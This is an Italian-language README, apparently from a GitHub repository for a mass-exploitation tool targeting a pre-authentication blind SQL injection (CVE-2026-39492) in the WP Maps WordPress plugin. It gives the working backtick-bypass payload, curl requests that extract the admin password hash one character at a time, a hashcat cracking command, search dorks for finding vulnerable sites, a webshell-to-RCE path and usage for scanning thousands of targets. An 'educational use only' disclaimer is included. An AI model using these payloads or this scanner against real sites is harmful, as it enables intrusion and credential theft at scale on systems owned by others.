
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Scanner di Massa per SQL Injection Blind Non Autenticata | rilevamento stile sqlmap | bypass backtick di esc_sql() | oltre 100K installazioni
CVE-2026-39492 è una vulnerabilità critica (CVSS 9.3) di SQL injection cieca non autenticata nel plugin WP Maps (wp-google-map-plugin) versioni ≤ 4.9.1.
Il gestore AJAX wpgmp_ajax_call è registrato tramite wp_ajax_nopriv_ per accesso non autenticato. Il parametro viene passato attraverso — una funzione che interpreta erroneamente l'input come identificatore di colonna SQL affidabile, bypassando completamente la sanificazione di WordPress.
location_idFlipperCode_Model_Base::is_column()esc_sql()| Versione WP Maps | Stato |
|---|---|
| ≤ 4.9.1 | Vulnerabile |
| ≥ 4.9.2 | Corretta |
Installazioni attive: 100.000+
Nel livello di astrazione del database del plugin, is_column() verifica se l'input utente è racchiuso tra backtick:
// Vulnerabile: input racchiuso tra backtick trattato come identificatore di colonna affidabile
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // bypassa completamente esc_sql()!
}
return false;
}
Quando is_column() restituisce true, l'input viene passato direttamente alla query SQL senza escape esc_sql(). Ciò consente:
location_id=`1` AND SLEEP(5) AND `1`=`1
1. Rileva WP Maps tramite readme.txt → estrae versione
2. POST verso /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inietta payload racchiuso tra backtick nel parametro location_id
4. Misura il tempo di risposta — SLEEP(N) conferma SQL injection
5. Estrai dati tramite tecnica blind boolean/time-based
| Metrica | Valore |
|---|---|
| Vettore d'Attacco | Rete |
| Complessità d'Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto sulla Riservatezza | Alto |
| Impatto sull'Integrità | Nessuno |
| Impatto sulla Disponibilità | Basso |
| Perimetro | Modificato (impatta l'intero DB) |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# Rilevamento singolo target
python cve_2026_39492.py -t target.com
# Scansione di massa
python cve_2026_39492.py -f targets.txt
# Scansione di massa + salvataggio risultati
python cve_2026_39492.py -f targets.txt -o sqli.txt
# Singolo target con estrazione credenziali
python cve_2026_39492.py -t target.com --extract -v
# Output verboso
python cve_2026_39492.py -t target.com -v
-t, --target Singolo target (dominio o IP)
-f, --file Lista di target, uno per riga
-o, --output Salva i target vulnerabili in un file
--threads Thread concorrenti (default: 20)
--extract Estrai credenziali admin dai target confermati
-v, --verbose Mostra output dettagliato
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — Scansione SQL Injection Cieca su WP Maps
CVSS 9.3 | Pre-Autenticazione | wpgmp_ajax_call → Bypass Backtick
Target: WP Maps (wp-google-map-plugin) <= 4.9.1
Vettore: admin-ajax.php?action=wpgmp_ajax_call → location_id
Bypass: input racchiuso tra backtick bypassa esc_sql()
[+] WP Maps rilevato: v4.9.0
[*] Test SQLi: 6.2s (soglia: 5s)
[+] SQLi Cieco CONFERMATO (risposta: 6.2s)
Host : target.com
WP Maps : SI v4.9.0
SQLi : SI
Tempo risp : 6.2s
Tempo : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] SQLi Cieco CONFERMATO (risposta: 5.8s)
[*] Estrazione credenziali admin tramite SQLi cieco...
[*] Estrazione: admin_user
[*] Estrazione: $P$BqVg...
Utente Admin : admin_user
Hash Admin : $P$BqVg7xX...
CVE-2026-39492 Scanner SQLi Cieco WP Maps
Target: 2500 | Thread: 20
Vettore: wpgmp_ajax_call → bypass backtick location_id
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 risp:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 risp:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Scansione completata | Tempo: 320s
───────────────────────────────────────────────────────
Target : 2500
WP Maps trovati : 47
SQLi confermati : 12
Passo 1 — Rileva il plugin
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
Passo 2 — Testa SQLi con SLEEP
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Risposta > 5 secondi → VULNERABILE
Passo 3 — Estrai hash admin tramite SQLi cieco
# Controlla primo carattere dell'hash admin
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# Risposta > 3 secondi → primo carattere è ASCII 36 = '$'
Passo 4 — Cracka hash & login → RCE completo
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
Uno sfruttamento riuscito consente l'estrazione dell'intero database WordPress:
SELECT ... INTO OUTFILE → webshell → RCE direttoSOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che verificano la propria infrastruttura e ricercatori che studiano lo sfruttamento di vulnerabilità.
L'accesso non autorizzato a sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Risorsa | Link |
|---|---|
| Advisory IONIX | ionix.io/threat-center/cve-2026-39492 |
| Advisory WPScan | wpscan.com/vulnerability/c1f19d2e |
| Advisory Wordfence | wordfence.com |
| Voce NVD | CVE-2026-39492 |
| Trac Plugin | wp-google-map-plugin |
Questo progetto non è affiliato a Flipper Code o WP Maps.